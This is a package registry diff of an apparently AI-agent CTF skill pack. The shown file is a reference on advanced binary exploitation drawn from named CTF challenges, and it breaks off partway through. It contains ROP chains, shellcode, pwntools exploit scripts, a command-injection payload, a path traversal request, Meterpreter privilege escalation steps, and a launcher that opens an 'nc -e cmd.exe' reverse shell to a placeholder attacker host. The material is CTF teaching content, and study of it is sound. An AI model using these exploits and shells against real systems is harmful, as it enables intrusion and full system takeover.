ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,590 @@
1
+ # CTF Pwn - Advanced Exploit Techniques (Part 4)
2
+
3
+ Windows exploitation, ARM shellcode, Forth interpreter exploitation, and GF(2) Gaussian elimination for heap corruption.
4
+
5
+ ## Table of Contents
6
+ - [Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)](#windows-seh-overwrite--pushad-virtualalloc-rop-rainbowtwo-htb)
7
+ - [SeDebugPrivilege to SYSTEM (RainbowTwo HTB)](#sedebugprivilege-to-system-rainbowtwo-htb)
8
+ - [ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)](#arm-buffer-overflow-with-thumb-shellcode-hackim-2016)
9
+ - [Forth Interpreter Command Execution (32C3 2015)](#forth-interpreter-command-execution-32c3-2015)
10
+ - [GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)](#gf2-gaussian-elimination-for-multi-pass-tcache-poisoning-midnight-flag-2026)
11
+ - [Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)](#single-bit-flip-exploitation-primitive-plaidctf-2016)
12
+ - [Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)](#game-of-life-shellcode-evolution-via-still-lifes-def-con-quals-2016)
13
+ - [UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)](#uaf-via-menu-driven-strdupfree-ordering-plaidctf-2016)
14
+ - [mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)](#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017)
15
+ - [Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)](#premature-global-index-update-for-out-of-bounds-stack-write-bkp-2017)
16
+ - [strcspn as Indirect Null Byte Injection (BSidesSF 2017)](#strcspn-as-indirect-null-byte-injection-bsidessf-2017)
17
+ - [Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)](#windows-cfg-bypass-using-system-as-valid-call-target-insomnihack-2017)
18
+ - [Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)](#neural-network-output-as-function-pointer-index-oob-swampctf-2018)
19
+ - [Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)](#shellcode-unique-byte-limit-bypass-via-counter-overflow-blaze-ctf-2018)
20
+ - [ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)](#arm64-getusershell-as-x0-setup-gadget-for-system-hitcon-2018)
21
+ - [OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)](#oob-dispatch-table-read-via-attacker-controlled-rdx-index-tamuctf-2019)
22
+
23
+ ---
24
+
25
+ ## Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
26
+
27
+ **Pattern:** 32-bit Windows PE (Portable Executable) with ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), and GS (stack cookie) enabled but SafeSEH disabled. Combine format string leak (defeats ASLR) with SEH-based (Structured Exception Handler) buffer overflow using VirtualAlloc ROP chain to bypass DEP.
28
+
29
+ **Attack chain:**
30
+ 1. **Format string leak defeats ASLR:** User input used as printf format string leaks code pointer at position 2: `LST %p-%p-%p-%p-%p` -> `binary_base = int(leaks[1], 16) - 0x14120`
31
+ 2. **Buffer overflow triggers SEH:** `sprintf("Path: %s", user_path)` into 1024-byte buffer overflows into SEH handler chain
32
+ 3. **Stack pivot via SEH handler:** `add esp, 0xe10; ret` redirects from exception context into ROP chain
33
+ 4. **Ret-slide absorbs crash variation:** 30x `ret` gadgets at start of ROP chain absorb variable crash offset
34
+ 5. **pushad VirtualAlloc technique:** Set all 8 registers to correct values, then `pushad` builds the entire `VirtualAlloc(lpAddress, dwSize=1, flAllocationType=0x1000, flProtect=0x40)` call frame in one instruction
35
+ 6. **IAT-relative function resolution:** `VirtualAlloc` not in IAT (Import Address Table), but `TlsAlloc` is. Read `[TlsAlloc@IAT]`, add offset to get `VirtualAlloc` address -- offset calculated from provided `kernel32.dll`
36
+ 7. **jmp esp to shellcode:** After VirtualAlloc marks stack RWX (Read-Write-Execute), `jmp esp` executes shellcode that follows
37
+
38
+ ```python
39
+ # Key ROP chain structure (simplified)
40
+ rop = p32(base + RET) * 30 # ret-slide for stability
41
+
42
+ # Set flProtect = 0x40 (PAGE_EXECUTE_READWRITE) via subtraction (avoid nulls)
43
+ rop += p32(base + POP_EAX) + p32(0x8314c2ab)
44
+ rop += p32(base + SUB_EAX) # sub eax, 0x8314c26b -> eax = 0x40
45
+
46
+ # Resolve VirtualAlloc: [TlsAlloc@IAT] + offset
47
+ rop += p32(base + POP_EAX) + p32(base + TLSALLOC_IAT)
48
+ rop += p32(base + MOV_EAX_DEREF_EAX) # eax = TlsAlloc address
49
+ rop += p32(base + ADD_EAX_EDI) # eax = VirtualAlloc address
50
+
51
+ # pushad builds call frame, jmp esp runs shellcode
52
+ rop += p32(base + PUSHAD_RET)
53
+ rop += p32(base + JMP_ESP)
54
+ ```
55
+
56
+ **Bad characters for shellcode:** `\x00` (sprintf null), `\x09-\x0d` (whitespace), `\x20` (space), `\x25` (% triggers format string). Encode with msfvenom's shikata_ga_nai to avoid these bytes.
57
+
58
+ **Detached process for shell stability:** When exploiting thread-based servers, child processes die with the parent thread. Compile a launcher with `CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS` flags:
59
+ ```c
60
+ // i686-w64-mingw32-gcc launcher.c -o launcher.exe -static
61
+ #include <windows.h>
62
+ int main() {
63
+ STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0};
64
+ si.cb = sizeof(si);
65
+ CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe",
66
+ NULL, NULL, FALSE,
67
+ CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW,
68
+ NULL, NULL, &si, &pi);
69
+ return 0;
70
+ }
71
+ ```
72
+
73
+ **Key insight:** `pushad` pushes all 8 general-purpose registers (EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX) onto the stack in one instruction. By pre-loading each register with the correct value, `pushad` builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for `mov [esp+N], reg` gadgets which are rare.
74
+
75
+ ---
76
+
77
+ ## SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
78
+
79
+ Exploits `SeDebugPrivilege` to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.
80
+
81
+ **Steps:**
82
+ 1. Upload Meterpreter payload and obtain a session
83
+ 2. Migrate into a SYSTEM-level process:
84
+ ```text
85
+ meterpreter > migrate -N winlogon.exe
86
+ meterpreter > getuid
87
+ # NT AUTHORITY\SYSTEM
88
+ ```
89
+
90
+ Meterpreter's `migrate` injects a DLL into the target process (`winlogon.exe`, `lsass.exe`), running code as that process's user (SYSTEM).
91
+
92
+ **Detection:** `whoami /priv` shows `SeDebugPrivilege`. Common on service accounts and `NT AUTHORITY\SERVICE`.
93
+
94
+ **Key insight:** Always run `whoami /priv` after landing a Windows shell. `SeDebugPrivilege` -- even when shown as "Disabled" -- is a direct path to SYSTEM via process migration.
95
+
96
+ ---
97
+
98
+ ## ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
99
+
100
+ ARM exploitation differs from x86 in several key ways:
101
+
102
+ 1. **Register conventions:** PC (program counter) instead of EIP; LR (link register) for return addresses
103
+ 2. **Thumb mode:** Set bit 0 of target address to 1 to switch to Thumb (16-bit) instructions, which avoids null bytes more easily
104
+ 3. **Syscall numbers:** Different from x86 (`execve` = 11, `dup2` = 63)
105
+
106
+ Socket-based ARM Thumb shellcode (dup2 + execve):
107
+
108
+ ```asm
109
+ .syntax unified
110
+ .thumb
111
+ dup2_loop:
112
+ mov r1, r6 @ socket fd (leaked or known)
113
+ mov r0, #0 @ stderr=0, increment for stdout, stdin
114
+ movs r7, #0x3f @ __NR_dup2 = 63
115
+ svc #1
116
+ add r0, #1
117
+ cmp r0, #3
118
+ blt dup2_loop
119
+
120
+ execve:
121
+ adr r0, shell
122
+ eor r1, r1 @ argv = NULL
123
+ eor r2, r2 @ envp = NULL
124
+ movs r7, #0xb @ __NR_execve = 11
125
+ svc #1
126
+
127
+ shell: .ascii "/bin/sh\x00"
128
+ ```
129
+
130
+ Cross-compile and test with QEMU:
131
+
132
+ ```bash
133
+ arm-linux-gnueabi-as -mthumb -o sc.o shellcode.s
134
+ arm-linux-gnueabi-ld -o sc sc.o
135
+ qemu-arm -g 1234 ./sc # Debug with gdb-multiarch
136
+ ```
137
+
138
+ **Key insight:** Use `qemu-arm` for local testing and `gdb-multiarch` for debugging. Statically-linked ARM binaries contain all gadgets needed for ROP without library dependencies.
139
+
140
+ ---
141
+
142
+ ## Forth Interpreter Command Execution (32C3 2015)
143
+
144
+ Forth interpreters may expose a `system` word that executes shell commands. When interacting with a Forth-based service:
145
+
146
+ ```forth
147
+ s" cat /flag" system
148
+ s" ls -la" system
149
+ s" /bin/sh" system
150
+ ```
151
+
152
+ The `s"` word pushes a string address and length onto the stack; `system` pops them and executes via the shell. Check for other dangerous words: `included` (file inclusion), `open-file`, `read-file`.
153
+
154
+ ---
155
+
156
+ ## GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
157
+
158
+ When a binary applies a deterministic XOR cipher to heap data (corrupting adjacent tcache `fd` pointers as a side effect), and each cipher seed produces a different XOR keystream at the fd offset, model the corruption as a linear algebra problem over GF(2) to find exactly which seeds transform the fd to a target address.
159
+
160
+ **Problem formulation:** Given current fd value `C` and target `T`, compute delta `D = C ^ T`. Each seed `i` produces a 64-bit XOR vector `v_i` at the fd offset. Find a subset `S` of seeds where `XOR(v_i for i in S) == D`.
161
+
162
+ ```python
163
+ def find_subset_xor(vectors, target):
164
+ """Find subset of 64-bit vectors that XOR to target via GF(2) Gaussian elimination"""
165
+ n = len(vectors)
166
+ basis = {} # bit_position -> (vector_value, set_of_contributing_indices)
167
+
168
+ for i, v in enumerate(vectors):
169
+ mask = frozenset([i])
170
+ val = v
171
+ for bit in range(63, -1, -1):
172
+ if not (val >> bit) & 1:
173
+ continue
174
+ if bit in basis:
175
+ val ^= basis[bit][0]
176
+ mask = mask.symmetric_difference(basis[bit][1])
177
+ else:
178
+ basis[bit] = (val, mask)
179
+ break
180
+
181
+ # Solve for target
182
+ result = frozenset()
183
+ val = target
184
+ for bit in range(63, -1, -1):
185
+ if (val >> bit) & 1:
186
+ if bit not in basis:
187
+ raise ValueError("Target not in span")
188
+ val ^= basis[bit][0]
189
+ result = result.symmetric_difference(basis[bit][1])
190
+ return result
191
+
192
+ # Precompute XOR vectors: run cipher with each seed, extract 8 bytes at fd offset
193
+ vectors = {}
194
+ for seed in range(10000):
195
+ keystream = djb2_cipher(seed, length=0x90)
196
+ xor_at_fd = u64(keystream[0x88:0x90]) # fd is at offset 0x88 in chunk
197
+ vectors[seed] = xor_at_fd
198
+
199
+ # Compute target delta (safe-linking aware)
200
+ current_fd = leaked_fd # From heap over-read
201
+ target_fd = (io_list_all - 0x10) ^ (chunk_addr >> 12) # Mangled target
202
+ delta = current_fd ^ target_fd
203
+
204
+ seeds_to_apply = find_subset_xor(vectors, delta)
205
+ # Apply each seed sequentially -- order doesn't matter (XOR is commutative)
206
+ for seed in seeds_to_apply:
207
+ apply_cipher(chunk_idx, seed)
208
+ ```
209
+
210
+ Typical result: ~30-35 seeds from a 10,000-seed space. Each application XORs one vector into the fd, cumulatively producing the exact target.
211
+
212
+ **Key insight:** Any deterministic byte-level transformation of heap metadata can be modeled as GF(2) linear algebra when the operation is XOR. This generalizes beyond specific cipher implementations -- it applies whenever you can repeatedly XOR predictable patterns into a target value.
213
+
214
+ ---
215
+
216
+ ## Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
217
+
218
+ **Pattern (butterfly):** Binary accepts an integer, computes `address = input >> 3` and `bit = input & 7`, then flips `*address ^= (1 << bit)` after making the page RWX via `mprotect`. Single bit flip per invocation, but chaining multiple flips builds arbitrary code.
219
+
220
+ **Exploitation strategy:**
221
+
222
+ 1. **Create a loop:** Flip a bit in the function epilogue `add rsp, 0x48` to `add rsp, 0x08`, causing stack misalignment that reuses buffer contents as return address. Set return address to function start for repeated invocations:
223
+ ```python
224
+ # Flip bit 6 at address 0x400863 to change 0x48 -> 0x08
225
+ cosmic_ray = (0x400863 << 3) | 6 # = 33571614
226
+ ```
227
+
228
+ 2. **Craft `jmp rsp`:** Flip one bit of an existing `jmp rax` instruction (0xFF 0xE0) to `jmp rsp` (0xFF 0xE4):
229
+ ```python
230
+ cosmic_ray = (0x4006E6 << 3) | 2 # = 33568562
231
+ ```
232
+
233
+ 3. **Disable stack canary check:** Flip the conditional jump (`jnz`) at the canary check to a non-branching instruction:
234
+ ```python
235
+ # 0x75 (jnz) ^ 0x40 = 0x35 (xor eax, imm32)
236
+ cosmic_ray = (0x40085B << 3) | 6
237
+ ```
238
+
239
+ 4. **Expand input buffer:** Flip a bit in the `fgets` size argument to read more bytes for shellcode
240
+
241
+ 5. **Make stack RWX:** Flip `mov r15, rbp` to `mov r15, rsp` so `mprotect` targets the stack
242
+
243
+ 6. **Inject shellcode** on the now-RWX stack, return to `jmp rsp`
244
+
245
+ **Alternative approach:** XOR shellcode with existing `.text` bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location.
246
+
247
+ **Key insight:** A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) `mprotect` arguments (change memory permissions), (d) size parameters (expand read buffers).
248
+
249
+ ---
250
+
251
+ ## Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
252
+
253
+ **Pattern (b3s23):** Binary reads coordinates for Conway's Game of Life cells on a 110x110 grid, runs 15 iterations, then executes the grid data as machine code. Construct a board that remains stable through 15 iterations while containing valid x86 shellcode.
254
+
255
+ **Approach — static shellcode rows:**
256
+
257
+ 1. Place x86 instructions in specific rows of the grid
258
+ 2. Use Game of Life "still-life" patterns (stable configurations) on surrounding rows to keep the shellcode rows unchanged through all iterations
259
+ 3. Connect shellcode rows with `JMP` instructions to skip non-code rows
260
+
261
+ ```text
262
+ Row N-1: still-life border pattern (keeps row N stable)
263
+ Row N: > shellcode bytes | JMP to next row
264
+ Row N+1: still-life border pattern
265
+ Row N+2: (empty or border)
266
+ ```
267
+
268
+ **Shellcode constraints:**
269
+ - Avoid 5+ consecutive 1-bits (no small still-life can stabilize these)
270
+ - Use `add al, 0` (0x04 0x00) as NOP separator between instructions (all bits off)
271
+ - Adjacent "wall" patterns (vertical columns of 1s) must match at boundaries
272
+ - Two columns of 0s between patterns prevents interference
273
+
274
+ **Useful still-life patterns for embedding:**
275
+ ```text
276
+ Block: xx Snake: xx x
277
+ xx x xx
278
+ ```
279
+
280
+ ```python
281
+ # Convert board to coordinates and feed to binary
282
+ import re
283
+ from pwn import *
284
+
285
+ rows = open('board.txt').read().split('\n')
286
+ coords = []
287
+ for y, row in enumerate(rows):
288
+ for m in re.finditer('x', row):
289
+ coords.append((m.start(), y))
290
+
291
+ p = process('./b3s23')
292
+ for x, y in coords:
293
+ p.sendline(f'{x},{y}')
294
+ p.sendline('done')
295
+ p.interactive()
296
+ ```
297
+
298
+ **Key insight:** Game of Life still-lifes are patterns unchanged by the update rules. By embedding shellcode in rows surrounded by still-life borders, the code survives all iterations. The simplest strategy is to `read()` real shellcode onto the grid after gaining execution, avoiding complex Game of Life-aware instruction encoding.
299
+
300
+ ---
301
+
302
+ ## UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
303
+
304
+ **Pattern (unix_time_formatter):** Menu-driven binary uses `strdup()` to allocate user input (format string, timezone) and `free()` on exit. Exit option frees allocations but asks "Are you sure?" — answering "no" returns to the menu with dangling pointers. New allocations via `strdup()` reuse the freed memory.
305
+
306
+ **Exploitation:**
307
+
308
+ 1. Set format string (validated for safe characters: `%aAbBcC...`)
309
+ 2. Set timezone (no input validation)
310
+ 3. Choose exit → both pointers freed, but answering "no" continues
311
+ 4. Set timezone twice — second `strdup()` reuses the format string's freed allocation
312
+ 5. Format string pointer now points to attacker-controlled timezone data
313
+ 6. "Print time" executes `system("/bin/date -d @TIME +'FORMAT'")` with injected format:
314
+
315
+ ```python
316
+ from pwn import *
317
+
318
+ p = remote('target', 9999)
319
+ p.sendlineafter('>', '1') # Set format
320
+ p.sendlineafter('Format:', '%c')
321
+ p.sendlineafter('>', '3') # Set timezone
322
+ p.sendlineafter('zone:', "';/bin/sh #\\")
323
+ p.sendlineafter('>', '5') # Exit (frees both)
324
+ p.sendlineafter('(y/N)?', 'n') # Don't actually exit
325
+ p.sendlineafter('>', '3') # Reallocate into freed format slot
326
+ p.sendlineafter('zone:', "';/bin/sh #\\")
327
+ p.sendlineafter('>', '3') # Second alloc gets other freed slot
328
+ p.sendlineafter('zone:', "';/bin/sh #\\")
329
+ p.sendlineafter('>', '4') # Print → shell
330
+ p.interactive()
331
+ ```
332
+
333
+ **Key insight:** `strdup()` uses `malloc()` internally, so freed `strdup` buffers enter the malloc freelist and are reused by subsequent `strdup()` calls of similar size. When the "exit" path frees memory but allows returning to the menu, any field with strict input validation (format) can be overwritten via a field without validation (timezone) through UAF freelist reuse. The `system()` call then executes the unvalidated content.
334
+
335
+ ---
336
+
337
+ ## mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
338
+
339
+ **Pattern (UploadCenter):** A PNG upload service uses `mmap(width*height)` for image storage but `munmap(compressed_length)` to free it. When compressed length exceeds image dimensions, `munmap` frees more memory than was mapped, unmapping adjacent regions. Chain: (1) upload large PNG so its mmap lands adjacent to a global output buffer; (2) delete PNG — munmap frees both the image AND the output buffer; (3) spawn a thread — `pthread_create` mmaps a stack into the freed gap, overlapping the still-referenced output buffer; (4) upload new PNG — decompressed data written through the output buffer overwrites the thread's stack for ROP.
340
+
341
+ ```python
342
+ # Trigger: allocation uses image dimensions, deallocation uses compressed size
343
+ # img = mmap(0, width*height, ...) # small allocation
344
+ # pngobj->length = compressed_length # larger than width*height
345
+ # munmap(pngobj->content, pngobj->length) # OVER-UNMAP!
346
+
347
+ # Exploit chain:
348
+ upload_png(large_png) # mmap lands near global output buffer
349
+ delete_png() # munmap frees output buffer region too
350
+ start_monitor() # pthread_create mmaps stack into freed gap
351
+ upload_rop_png(rop_payload) # decompress writes through output buf -> thread stack
352
+ ```
353
+
354
+ **Key insight:** The mmap/munmap size mismatch creates an "over-unmap" that silently destroys adjacent mappings. When a new thread's stack fills the gap, the old buffer pointer becomes a write-what-where into the thread's stack frame. This is a race-free UAF variant that doesn't require heap metadata corruption.
355
+
356
+ ---
357
+
358
+ ## Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
359
+
360
+ **Pattern (memo):** The `new_memo` function stores the user-supplied memo index into a global variable *before* validating bounds. The allocation is rejected for out-of-bounds values, but the global `last_memo` retains the invalid index. The `edit_memo` function uses `last_memo` without bounds checking, and the program stores stack pointers at indices 5-9 of the array during `new_memo`. Setting `last_memo=6` causes `edit_memo` to write through a stack address, enabling direct stack overwrites.
361
+
362
+ ```python
363
+ # Bug: global index set BEFORE bounds check
364
+ # new_memo:
365
+ # last_memo = user_index # stored here
366
+ # if user_index > 4: reject # checked too late
367
+ # memos[user_index + 5] = &stack_local # stack addr in array!
368
+
369
+ # Exploit:
370
+ new_memo(6) # rejected, but last_memo = 6
371
+ # memos[11] = stack pointer from new_memo's frame
372
+ edit_memo(payload) # writes through memos[6] which IS a stack address
373
+ # payload overwrites return address -> hidden shellcode executor function
374
+ ```
375
+
376
+ **Key insight:** TOCTOU-style vulnerability in a single function — the index is committed to global state before validation rejects it. Combined with the program storing stack addresses in the same array, this turns an invalid index into a direct stack write primitive. Look for patterns where global state is updated before error checking.
377
+
378
+ ---
379
+
380
+ ## strcspn as Indirect Null Byte Injection (BSidesSF 2017)
381
+
382
+ **Pattern (Steel Mountain: Sensors):** A CGI binary constructs filenames via `snprintf("sensors/%s.cfg", input)`. Direct null byte injection is blocked by the CGI library. After snprintf, `strcspn(buf, "\r\n")` is called and the result index is used to write a null byte (terminating at the first newline). Injecting `%0A` (URL-encoded newline) after the desired filename causes: `sensors/../flag.txt\n.cfg` → null byte written at the `\n` position → `sensors/../flag.txt\0.cfg`, truncating the `.cfg` extension.
383
+
384
+ ```bash
385
+ # Request: sensor=../flag.txt%0A&debug
386
+ # snprintf produces: "sensors/../flag.txt\n.cfg"
387
+ # strcspn("sensors/../flag.txt\n.cfg", "\r\n") = 23
388
+ # buf[23] = '\0'
389
+ # Result: "sensors/../flag.txt" (null-terminated, .cfg removed)
390
+ # -> reads /flag.txt via path traversal
391
+ ```
392
+
393
+ **Key insight:** `strcspn` followed by null-byte write is a common C pattern for line termination. When user input reaches this code path with injected newlines, it becomes an indirect null byte injection vector — even when direct null bytes are filtered by the input layer (CGI, HTTP).
394
+
395
+ ---
396
+
397
+ ## Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
398
+
399
